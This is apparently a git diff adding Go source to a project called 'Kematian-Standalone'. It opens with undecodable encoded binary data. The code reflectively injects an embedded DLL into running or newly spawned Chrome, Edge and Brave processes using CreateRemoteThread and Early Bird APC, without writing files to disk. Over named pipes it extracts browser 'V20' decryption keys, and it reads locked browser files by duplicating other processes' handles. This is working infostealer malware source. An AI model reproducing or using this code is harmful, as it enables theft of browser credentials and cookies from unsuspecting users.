zR~AU>zKEQ6_*&^#TPVGb7Rf2ci@E-T6KxvLMs^uVvr`89#B)>kQW$g3@%*&$iCIEo zQo*#%0H+0sL#4%Xu$y1H<)j3<7~O(SUwmIvwVy&N^^D|Jk~|_Y)GU1yX$R);?xZ{6 zB=Q-`5#ErMA{?tcI7_E{l6yLNc8$)nP25>dS}1o$YfrD%ZgRA$2U1#vDNB2>L}OWM zcHZypMSU>9t`8`S&5v7(qb2wDiDBxUJtx#VZGD5Od3SJF$+63 zt9$-s_Y>_hns8MPZys)Jy%6xM47hzpXTe6z>xD43-}9~YMNIm1iQ#6Q#K%QFKS=Cv zTyIuIlz%Ip4kyObQoYoa-siNJbI310EMe9(b%cbv{StEE#;5ogwfRF%k6rcwC+V(jW{8#Vs(y< zE0#OM`bWpkyzTTK8+I&j;TcKU8bsMrHD*)Uip^uOVZ?BrWzC+|`dQ|e%W07q?KLVZH?2^Qzhn!ufy)N z&q&TYigRJCuj($W}DSGkEt_Dyat&A@UukL=Ig z{vXpiaH{~ibo8z4=uS2|NRt(GoXKi)lNIqH5H!Lwp^($Qa&Xr##}4>Ad7% z6>tA)7sFbq>QcT)##oM7v%*_@22sDwGV8bI_HJqq#Y-D!ddJDPT~b<=kftv*-A$t% z5_5eAd0}y#sZSS2oulvBH>6vJT!~@2#HsJJpSHq#ImCAp!>Gn>sx^oIIQ6vl-$qhJ zQoZ*YGJ3h`+0bd$K2Dn1=Q_qYXQy?%>vUWJd4(umF;4o7SG5L{p&WH%Q~luLBgY{l z6FW3}Uf6cHvhxBdQFe%bzV$l88|AI5q4H3(IGQ~pW1g1=@2WG+v~PO0Il^uhj?R~z zV)7+*Uzob*U}N3mJobCTJPY?UJ`3aIk9ciU>aZ|%*gb~}ly0684O}u#H*`TGmJf2^tEu4C{^z3RWj*hKVUHMsT-D0Q3#qsRx%%8E(^qA*~ z5l{D)p1;lO%ck-i(+;rfiL>MAq|0}2d6gN=uO_xX+(r&3B|qLqcK8EZ+Q@!C?^9)6 zn?&62Z^J4TJFKBChc#$V!2f7hd9v*lk93uF?fnP3$`_rIpY1A#PCjYXDe{MthY@1e z-e5NQ8)x``F;v!_<*ykkZ=dad zf2h3Q_vD&kQrXY{*f4phpZ}R*QXV?_{fp#6 z!VB+xhS`Ds2Yqn=T2Jd|TggVxi$q}CGhY3!bC}BHjPVXIe|?)vvr1 zX#J~J{+C+GZ(0S2w@W+k%69Ig&+ImiWy@2IPNMn%4;bDj3^{BhzG4{9H)S-XZ=8G) zt21rEroKR|J>pzv#YtUsg?AaVh!}0GGQ0;3<3TmKRu}%bWly>pC-?L+J1*qiX~;+~ z^UO9F-PgE`#|?_3U2Qb)i^o2X9hhoPt zyL4;4vYWe$k?3-^WE=ZH0jVWfYK=}zi}={Miu5}@Y31qelZ*sc^V(FGnSeZs|3{5Z zH!}svnDtNiXa1J_*66f`X%@A z?rS5152wh$+JKyWw5{|w-p*|Aoe@Xp#ys~7lir`{;C-)y)O29Z_Bt+0~>Zbwe|oXx$Po==Tr0Xs-|anOx?~irP)}h4#$`3 zi^#airtO=Jtu%YS#d(g!rcE=yF>%`c%^q>mEY?o62bzyPICMSXywiWoGZ(+j>}Bil z!+1LA^3gxeIXl0d8RwjphJB6R!V6oZ!?q-O%je&mBrB5I?M{-lN&ZS)l6;>h86PAy zrR52_Id%QNejFzsSpDKF&AQ^z7Hze}SnyY0`;W%UL#==9IyzpyOy>2wl(lR9`UJVD z-Isijba}s%-<}|MhkR8NqKY_HEnqy`Q_>FB)Fvqt+Ts z%vW`rT1c;d@!LuCXL@_DmUFyIz5P!pCrf|31%Nf+wPV)c~1Lp zx7Br8l}Fxp9WwSX!O1gFna8fLZfp6v?(!Lr$Io1+y~T0@cgiuZ9P{|zfqVPG-|!Zj z;W+AEEB|#fPLcabkNb_E7`!N{bWvg-ceQy%<+qsnEw&#N`y6nDiLK+m_b{K~bi(8b zBf#6HmyM)fGo#oT!LmG;7h2^?+V3)c<)Vn&Q5nl6L_k_U>9&q)>f3s&}Y#XSBaaK#`>AW7zXJg64GLQVk zNPL%hlt!z+F|*ax>JW3LTwQm2JwVYqilCOD4eC_G>XV>;xNE6wJ?jr-+7*3%>U(*q+;q;}oY-`}|EZ<&;f3DK*UPQL{M(nvJ;U1Hw?qyM z^FOmh-b+2HW{G^0%7PvFY=r-V#q!OF1H|;`X#ewz-;w^l3!lu zUrChLCEvbSet%u3vPJUQb^coxN%bQCu_Z?BqQrL>8Q(1O-?G?vWU>F<#l{Uw{C6)g z9$Aw3ni1=a@lKhsoA?{c@wYrP zto)s9B)o69EBtnEm~!HLraS6%+m-48e-5uk%`vdX>yCgi3aN36n z@>T-tlUpq3>X{`El1U%*_`mWPk9*Ge*yFyw*)vP!%@dwOv2|k%C!QAi3+EdHb9y|+ z3{m3;Q4jB_yWQ`RS6y>Ns@<(Bm^|$E<8YJ5&&j(y4D3DY@xAJ4G!*qox3s;t`mBTdWU_R5%`do6o#7Kcfix(<5qH?_Xn@Fk_THU_a|D>wfYCo++?{z zO%W#NXP%>yNR3qwa?Y>7R=wiQ7twWmK%PODXAJMHE~zml#YtzsPyDXtt)mn2LR(*$ z_YMbRb7+h2cw?Rgq-kT{7#?n%N7T|hC&wHD;%I3;RNQ-xXP>xkv3kX^Y20g^?E^tBv2v~raOygzmE4uq`AbF|sq)MjPdajsDpVZths!kX4+jl@40#_yWz z(n3COX&mw2y5E>O$eiCei+i!>oZ6_$VLVaim4Ex3J@+xwi0HYp5rZ{gKH~*3BKTAD zYNv26He5Bw)_6|!$}$86fnshKJGQ97;B z;WYK-G8yx(w&yvYFuz(|GeBPx8@4qsIMjH*N-ul9uBm;DPU>8&s4%BA-4CZ){7pT$ znpxKD-4XGcVYuK*dUG5?1|wzNMatM0<6`)9M8&4ILdz=7$je$7W;6c{9mOq(TTP5xhg-dpirdi`w-9dWxCPM1{*A+}47X5> zTQ+V{+*vO-=__oH+G`dz<*Pf>FT#ZvSW@}umah1mP8h2={*7$dkV9EZQ_^zj;v_dCu%q>q22 z@m0t9@5`HI|L@D2Wry#}n`MXpR(V@1BlFl=d7Sy}5P3yL^5Ki(@EEqhzS#QK*>I7% z7}puJjx9gdHmmGHYabUBPrD5)%Lq=J~~yk>I(AZ ze1q*J)rV-TKqltSD$FWeIFe1zi)4&3swBdW|EQt0nq-X5XS-%+AdF&+VHaRif4SS_ zV{!|Nik0%COJ|5|H{B+MOHHR4a=;jqS5lOt&W|uRzAj=PIM>*4@knd$;EM~g!y?^c zTqc(kM@ouErm;<%>1us&WmGOZWwNpKLgF|-#+|Jm)gII`G{()g(y$ZU#`6kbs&XAw zNJDoTA7_{$SE=LCO&{#JRDZ8$hUBR;O7r2x>>xdhFNYKnd%o>Do^MSQ&NKImAF)uI zO$xr{?C4VV_O{PY|sXU#vM2uNoSCG67N@Pf&6RJzKk9?M(<2bj4So1Wh2qVn(zInxtwr{)}w z&UcL$Uen}aT_`tt%c(X+bggfm!!-Iw!cFO&_QDOtHil%?5Wy^r!9 z&lJ9kW2!5E_Dm_x8<`d1>vx1k0WB?-PnFxmf`YjvkufFtW?84`7A_R|Qk|KeufDNC zA{+4t#fQY3J$GzL7Tc2+lT_QhQ}e>%h#c`w%PX>yOP*ES zOvv9Vrm{p)13+7onr!&~5R4V9{gE7*A?BwN=!0iu@MW3ejNF1*8S1Qfa548(&!BfcuOL5T{v7iQ z4|60c=vx%VLX~_Kppb2xsbLk%S2uRZHL2LNh-rZlUeb3GbSWVaf?dR$@z9g#QvCBbE)CrJ1VU!TVHN*sR8Y#-}08$Y(3;8%UdA=WeZTZ(@r`Na%oX(O!WI9B*X zL8F19oU>)}#L>g2Pis6SdpT!IY}^Hf>`kpcyQJbCU|Z1crG1azTi}0e0ru43?Sx3w z7wsG!98HgwMl-kOY>jL!-CDMF)zC+7xNq*qi|)K?s@kWH1FsyEecs^8?>T(jk9B`2%de+7taShb<| z#&H`F&pui89rOYN3bTdTKr-WJ+6Zd+uVY){>uzP)Vw z(e1J$w4-cCbVv1$njJ@X$j;6?Lp#fN9^V<*)q7X!uJm2eU59to?K-|Iu)Fu})ZOX3 zBfHCYSMILfUAwz}H<8z{-wxo5hN5ZFoam}(b@XtwCK}q1xuJYR?S^sphc*u0n2L63 z8`C%DY>c4gD)d~tF}ksGWA(UwCy?D%ePl len(pe) { + return 0, fmt.Errorf("truncated PE header") + } + if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 { + return 0, fmt.Errorf("bad PE signature") + } + + coffOff := lfanew + 4 + numSections := binary.LittleEndian.Uint16(pe[coffOff+2:]) + optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:]) + optHeaderOff := coffOff + 20 + + if int(optHeaderOff)+4 > len(pe) { + return 0, fmt.Errorf("truncated optional header") + } + magic := binary.LittleEndian.Uint16(pe[optHeaderOff:]) + + var exportRVA uint32 + switch magic { + case 0x10b: // PE32 + if int(optHeaderOff)+100 > len(pe) { + return 0, fmt.Errorf("PE32 optional header too short") + } + exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:]) + case 0x20b: // PE32+ + if int(optHeaderOff)+116 > len(pe) { + return 0, fmt.Errorf("PE32+ optional header too short") + } + exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:]) + default: + return 0, fmt.Errorf("unknown PE magic 0x%x", magic) + } + + sectionOff := optHeaderOff + uint32(optHeaderSize) + + // rva2fo converts a virtual RVA to a file offset via the section table. + rva2fo := func(rva uint32) uint32 { + for i := uint16(0); i < numSections; i++ { + off := sectionOff + uint32(i)*40 + if int(off)+40 > len(pe) { + break + } + // IMAGE_SECTION_HEADER layout: + // +0 Name[8] + // +8 VirtualSize + // +12 VirtualAddress + // +16 SizeOfRawData + // +20 PointerToRawData + vAddr := binary.LittleEndian.Uint32(pe[off+12:]) + vSize := binary.LittleEndian.Uint32(pe[off+8:]) + rawPtr := binary.LittleEndian.Uint32(pe[off+20:]) + rawSize := binary.LittleEndian.Uint32(pe[off+16:]) + span := vSize + if rawSize > span { + span = rawSize + } + if rva >= vAddr && rva < vAddr+span { + delta := rva - vAddr + if delta < rawSize { + return rawPtr + delta + } + } + } + // RVA might be in the PE headers (before the first section). + if numSections > 0 { + firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:]) + if rva < firstRaw { + return rva + } + } + return 0 + } + + exportFO := rva2fo(exportRVA) + if exportFO == 0 || int(exportFO)+40 > len(pe) { + return 0, fmt.Errorf("invalid export directory") + } + + // IMAGE_EXPORT_DIRECTORY offsets: + // +20 NumberOfFunctions + // +24 NumberOfNames + // +28 AddressOfFunctions + // +32 AddressOfNames + // +36 AddressOfNameOrdinals + numNames := binary.LittleEndian.Uint32(pe[exportFO+24:]) + functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:])) + namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:])) + ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:])) + + for i := uint32(0); i < numNames; i++ { + if int(namesFO+i*4+4) > len(pe) { + break + } + nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:])) + if nameFO == 0 || int(nameFO) >= len(pe) { + continue + } + name := pe[nameFO:] + found := false + for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ { + if name[k] == 0 { + break + } + if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" { + found = true + break + } + } + if !found { + continue + } + if int(ordinalsFO+i*2+2) > len(pe) { + break + } + ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:])) + if int(functionsFO+ordinal*4+4) > len(pe) { + break + } + funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:])) + if funcFO != 0 { + return funcFO, nil + } + } + return 0, fmt.Errorf("ReflectiveLoader export not found") +} + +// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image +// followed by the UTF-16 pipe name, and returns the remote addresses of the +// ReflectiveLoader entry point and the pipe name. The pipe name is passed to +// the loader as lpParameter so it reaches DllMain without relying on an +// inherited environment variable (which running browsers do not have). +func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) { + loaderOff, err := findReflectiveLoaderOffset(dllBytes) + if err != nil { + return 0, 0, fmt.Errorf("find reflective loader: %w", err) + } + + pipeW, err := syscall.UTF16FromString(pipeName) + if err != nil { + return 0, 0, fmt.Errorf("utf16 pipe name: %w", err) + } + pipeBytes := len(pipeW) * 2 + total := len(dllBytes) + pipeBytes + + remoteMem, _, _ := procVirtualAllocEx.Call( + uintptr(hProcess), 0, uintptr(total), + windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE, + ) + if remoteMem == 0 { + return 0, 0, fmt.Errorf("VirtualAllocEx failed") + } + + var written uintptr + if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil { + procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE) + return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err) + } + + pipeNameAddr = remoteMem + uintptr(len(dllBytes)) + pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes) + if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil { + procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE) + return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err) + } + + return remoteMem + uintptr(loaderOff), pipeNameAddr, nil +} + +func createKillOnCloseJob() (windows.Handle, error) { + job, err := windows.CreateJobObject(nil, nil) + if err != nil { + return 0, fmt.Errorf("CreateJobObject: %w", err) + } + var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION + info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE + _, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation, + uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info))) + if err != nil { + windows.CloseHandle(job) + return 0, fmt.Errorf("SetInformationJobObject: %w", err) + } + return job, nil +} + +// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread. +// The DLL bytes are written directly into the target process — no temp file on disk. +func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) { + hProcess, err := windows.OpenProcess( + windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION| + windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ, + false, targetPID) + if err != nil { + return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err) + } + + loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName) + if err != nil { + windows.CloseHandle(hProcess) + return nil, err + } + + hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0) + if hThread == 0 { + windows.CloseHandle(hProcess) + return nil, fmt.Errorf("CreateRemoteThread: %w", lerr) + } + windows.CloseHandle(windows.Handle(hThread)) + + logf("DLL reflectively injected into PID %d", targetPID) + + return &PipeSession{ + pid: targetPID, + hProcess: hProcess, + }, nil +} + +func cleanupInjection(hProcess windows.Handle, addr uintptr) { + procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE) + windows.CloseHandle(hProcess) +} + +// CreatePipeSession creates a named pipe, reflectively injects the DLL into an +// existing browser process (passing the pipe name via lpParameter), and waits +// for connection. Falls back to creating a new headless browser process if +// injection into an existing process fails or times out. +func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) { + pipeName := createPipeName() + logf("creating pipe: %s", pipeName) + + hPipe, err := createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("create pipe server: %w", err) + } + + pids := orderedBrowserPIDs(BrowserExeName(browserName)) + + const maxExistingTries = 3 + if len(pids) > 0 { + for i, pid := range pids { + if i >= maxExistingTries { + logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName) + break + } + logf("trying existing %s PID %d", browserName, pid) + s, err := InjectDLL(dllBytes, pipeName, pid) + if err != nil { + logf("inject PID %d failed: %v", pid, err) + continue + } + s.watchExit(fmt.Sprintf("existing %s", browserName), 2000) + if err := waitPipeConnect(hPipe, 2000); err != nil { + logf("pipe connect timeout for PID %d", pid) + s.Close() + procDisconnectNamedPipe.Call(uintptr(hPipe)) + windows.CloseHandle(hPipe) + hPipe, err = createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("recreate pipe: %w", err) + } + continue + } + s.hPipe = hPipe + ActivePipeSession = s + logf("pipe session established with existing %s (PID %d)", browserName, pid) + return s, nil + } + logf("failed to inject into existing %s processes, will try creating new process", browserName) + } else { + logf("no running %s found, will create new headless process", browserName) + } + + s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName) + if err != nil { + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("create and inject browser: %w", err) + } + s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000) + + if err := waitPipeConnect(hPipe, 5000); err != nil { + logf("pipe connect timeout for new process") + s.Close() + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("pipe connect timeout") + } + + s.hPipe = hPipe + s.ownsProcess = true + ActivePipeSession = s + logf("pipe session established with new %s (PID %d)", browserName, s.pid) + return s, nil +} + +// FindProcesses returns PIDs of running processes matching the given exe name. +func FindProcesses(exeName string) ([]uint32, error) { + if exeName == "" { + return nil, nil + } + hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0) + if err != nil { + return nil, err + } + defer windows.CloseHandle(hSnapshot) + + var entry windows.ProcessEntry32 + entry.Size = uint32(unsafe.Sizeof(entry)) + if err := windows.Process32First(hSnapshot, &entry); err != nil { + return nil, err + } + + var pids []uint32 + for { + if syscall.UTF16ToString(entry.ExeFile[:]) == exeName { + pids = append(pids, entry.ProcessID) + } + if err := windows.Process32Next(hSnapshot, &entry); err != nil { + break + } + } + return pids, nil +} + +func BrowserExeName(name string) string { + switch name { + case "Chrome": + return "chrome.exe" + case "Edge": + return "msedge.exe" + case "Brave": + return "brave.exe" + } + return "" +} + +// CreateAndInjectBrowser creates a new suspended browser process and reflectively +// injects the DLL via Early Bird APC. No temp file is written to disk. +func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) { + browserPath, err := getBrowserPath(browserName) + if err != nil { + return nil, fmt.Errorf("get browser path: %w", err) + } + + browserPathW, err := syscall.UTF16PtrFromString(browserPath) + if err != nil { + return nil, err + } + cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath) + cmdLineW, err := syscall.UTF16PtrFromString(cmdLine) + if err != nil { + return nil, err + } + + var si windows.StartupInfo + var pi windows.ProcessInformation + si.Cb = uint32(unsafe.Sizeof(si)) + if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false, + windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil { + return nil, fmt.Errorf("CreateProcess: %w", err) + } + logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId) + + // Create a kill-on-close job and assign the suspended browser to it so the + // whole process tree is reaped when the session closes, even though the + // headless parent self-exits after serving one key. + job, jobErr := createKillOnCloseJob() + if jobErr != nil { + logf("job object unavailable, falling back to TerminateProcess: %v", jobErr) + } else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil { + logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err) + windows.CloseHandle(job) + job = 0 + } else { + logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId) + } + + cleanup := func() { + if job != 0 { + windows.CloseHandle(job) + } + windows.TerminateProcess(pi.Process, 0) + windows.CloseHandle(pi.Process) + windows.CloseHandle(pi.Thread) + } + + loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName) + if err != nil { + cleanup() + return nil, err + } + + // Queue APC to the main thread — fires on its first alertable wait after resume. + ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr) + if ret == 0 { + cleanup() + return nil, fmt.Errorf("QueueUserAPC: %w", aerr) + } + logf("queued APC for reflective loader") + + if _, err := windows.ResumeThread(pi.Thread); err != nil { + cleanup() + return nil, fmt.Errorf("ResumeThread: %w", err) + } + logf("resumed process main thread") + + return &PipeSession{ + pid: pi.ProcessId, + hProcess: pi.Process, + ownsProcess: true, + job: job, + }, nil +} + +func getBrowserPath(browserName string) (string, error) { + var paths []string + switch browserName { + case "Chrome": + paths = []string{ + filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"), + filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"), + filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"), + } + case "Edge": + paths = []string{ + filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"), + filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"), + } + case "Brave": + paths = []string{ + filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"), + filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"), + filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"), + } + default: + return "", fmt.Errorf("unknown browser: %s", browserName) + } + for _, p := range paths { + if _, err := os.Stat(p); err == nil { + return p, nil + } + } + return "", fmt.Errorf("%s not found", browserName) +} + +// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL +// into a browser process and communicating via named pipe. +func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) { + dllBytes := GetEmbeddedDLL() + if dllBytes == nil { + return nil, fmt.Errorf("no embedded DLL") + } + + pids := orderedBrowserPIDs(processName) + if len(pids) == 0 && browserName == "Chrome" { + return nil, fmt.Errorf("no running Chrome processes for V20") + } + + pipeName := createPipeName() + hPipe, err := createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("create pipe: %w", err) + } + + const maxTries = 3 + for i, pid := range pids { + if i >= maxTries { + break + } + s, injErr := InjectDLL(dllBytes, pipeName, pid) + if injErr != nil { + logf("V20 inject %s PID %d: %v", browserName, pid, injErr) + continue + } + s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000) + if connErr := waitPipeConnect(hPipe, 1000); connErr != nil { + logf("V20 pipe timeout for %s PID %d", browserName, pid) + procDisconnectNamedPipe.Call(uintptr(hPipe)) + windows.CloseHandle(hPipe) + hPipe, err = createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("recreate pipe: %w", err) + } + continue + } + s.hPipe = hPipe + encB64 := base64.StdEncoding.EncodeToString(encBlob) + key, keyErr := s.GetV20Key(browserName, encB64) + s.Close() + return key, keyErr + } + + if browserName == "Chrome" { + windows.CloseHandle(hPipe) + tried := len(pids) + if tried > maxTries { + tried = maxTries + } + return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried) + } + + logf("existing %s PIDs failed for V20, launching headless process", browserName) + s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName) + if err != nil { + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err) + } + s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000) + if connErr := waitPipeConnect(hPipe, 5000); connErr != nil { + s.Close() + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName) + } + s.hPipe = hPipe + encB64 := base64.StdEncoding.EncodeToString(encBlob) + key, keyErr := s.GetV20Key(browserName, encB64) + s.Close() + return key, keyErr +} diff --git a/Kematian-Standalone/native/recovery/platform/inject_stub.go b/Kematian-Standalone/native/recovery/platform/inject_stub.go new file mode 100644 index 0000000..870b4c6 --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/inject_stub.go @@ -0,0 +1,44 @@ +//go:build !windows + +package platform + +import ( + "errors" + "os/exec" + "strconv" + "strings" +) + +func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) { + return nil, errors.New("DLL injection not supported on this platform") +} + +func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) { + return nil, errors.New("pipe injection not supported on this platform") +} + +func FindProcesses(exeName string) ([]uint32, error) { + if exeName == "" { + return nil, nil + } + out, err := exec.Command("pgrep", "-x", exeName).Output() + if err != nil { + return nil, nil + } + var pids []uint32 + for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") { + line = strings.TrimSpace(line) + if pid, err := strconv.ParseUint(line, 10, 32); err == nil { + pids = append(pids, uint32(pid)) + } + } + return pids, nil +} + +func BrowserExeName(name string) string { + return "" +} + +func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) { + return nil, errors.New("not supported on this platform") +} diff --git a/Kematian-Standalone/native/recovery/platform/lockedfile_stub.go b/Kematian-Standalone/native/recovery/platform/lockedfile_stub.go new file mode 100644 index 0000000..85bd57f --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/lockedfile_stub.go @@ -0,0 +1,11 @@ +//go:build !windows + +package platform + +import "os" + +func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) { + return os.ReadFile(srcPath) +} + +func ResetHandleCache() {} diff --git a/Kematian-Standalone/native/recovery/platform/lockedfile_windows.go b/Kematian-Standalone/native/recovery/platform/lockedfile_windows.go new file mode 100644 index 0000000..0b45bc6 --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/lockedfile_windows.go @@ -0,0 +1,330 @@ +//go:build windows + +package platform + +import ( + "fmt" + "os" + "strings" + "sync" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +const ( + SystemExtendedHandleInformation = 64 + fileTypeDisk2 = 0x0001 + pageReadonly2 = 0x02 + fileMapRead2 = 0x04 +) + +type systemHandleInfoEx struct { + NumberOfHandles uintptr + Reserved uintptr + Handles [1]systemHandleEntry +} + +type systemHandleEntry struct { + Object uintptr + UniqueProcessId uintptr + HandleValue uintptr + GrantedAccess uint32 + CreatorBackTrace uint16 + ObjectTypeIndex uint16 + HandleAttributes uint32 + Reserved uint32 +} + +type rmUniqueProcess2 struct { + ProcessId uint32 + ProcessStartTime syscall.Filetime +} + +type rmProcessInfo2 struct { + Process rmUniqueProcess2 + AppName [256]uint16 + ServiceShortName [64]uint16 + ApplicationType uint32 + AppStatus uint32 + TSSessionId uint32 + Restartable int32 +} + +var ( + modNtdll2 = windows.NewLazySystemDLL("ntdll.dll") + procNtQuerySystemInformation = modNtdll2.NewProc("NtQuerySystemInformation") + modKernel32 = windows.NewLazySystemDLL("kernel32.dll") + procGetFileSizeEx = modKernel32.NewProc("GetFileSizeEx") + procCreateFileMappingW = modKernel32.NewProc("CreateFileMappingW") + procMapViewOfFile = modKernel32.NewProc("MapViewOfFile") + procUnmapViewOfFile = modKernel32.NewProc("UnmapViewOfFile") + procGetFinalPathNameByHandle = modKernel32.NewProc("GetFinalPathNameByHandleW") + procGetFileType = modKernel32.NewProc("GetFileType") + modRstrtmgr = windows.NewLazySystemDLL("rstrtmgr.dll") + procRmStartSession = modRstrtmgr.NewProc("RmStartSession") + procRmEndSession = modRstrtmgr.NewProc("RmEndSession") + procRmRegisterResources = modRstrtmgr.NewProc("RmRegisterResources") + procRmGetList = modRstrtmgr.NewProc("RmGetList") +) + +var ( + handleCacheMu sync.Mutex + handleCacheVal []systemHandleEntry +) + +func cachedSystemHandles() ([]systemHandleEntry, error) { + handleCacheMu.Lock() + defer handleCacheMu.Unlock() + if handleCacheVal != nil { + return handleCacheVal, nil + } + h, err := querySystemHandles() + if err != nil { + return nil, err + } + handleCacheVal = h + return h, nil +} + +func ResetHandleCache() { + handleCacheMu.Lock() + handleCacheVal = nil + handleCacheMu.Unlock() +} + +func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) { + if data, err := os.ReadFile(srcPath); err == nil { + logf("read directly: %s", srcPath) + return data, nil + } + + if lockPids := getProcessesLockingFile(srcPath); len(lockPids) > 0 { + pids = mergePIDs(pids, lockPids) + } + + if len(pids) > 0 { + if data, err := readViaHandleDuplication(srcPath, pids); err == nil { + logf("read via handle dup: %s", srcPath) + return data, nil + } + } + + if ActivePipeSession != nil { + if data, err := ActivePipeSession.ReadFile(srcPath); err == nil && len(data) > 0 { + logf("read via pipe: %s (%d bytes)", srcPath, len(data)) + return data, nil + } + } + + return nil, fmt.Errorf("all read methods failed for: %s", srcPath) +} + +func mergePIDs(a, b []uint32) []uint32 { + seen := make(map[uint32]struct{}, len(a)+len(b)) + for _, p := range a { + seen[p] = struct{}{} + } + result := append([]uint32(nil), a...) + for _, p := range b { + if _, ok := seen[p]; !ok { + result = append(result, p) + seen[p] = struct{}{} + } + } + return result +} + +func readViaHandleDuplication(srcPath string, pids []uint32) ([]byte, error) { + handles, err := cachedSystemHandles() + if err != nil { + return nil, err + } + + pidSet := make(map[uintptr]struct{}, len(pids)) + for _, p := range pids { + pidSet[uintptr(p)] = struct{}{} + } + + for _, h := range handles { + if _, ok := pidSet[h.UniqueProcessId]; !ok { + continue + } + + hProcess, err := windows.OpenProcess(windows.PROCESS_DUP_HANDLE, false, uint32(h.UniqueProcessId)) + if err != nil { + continue + } + + var dupHandle windows.Handle + err = 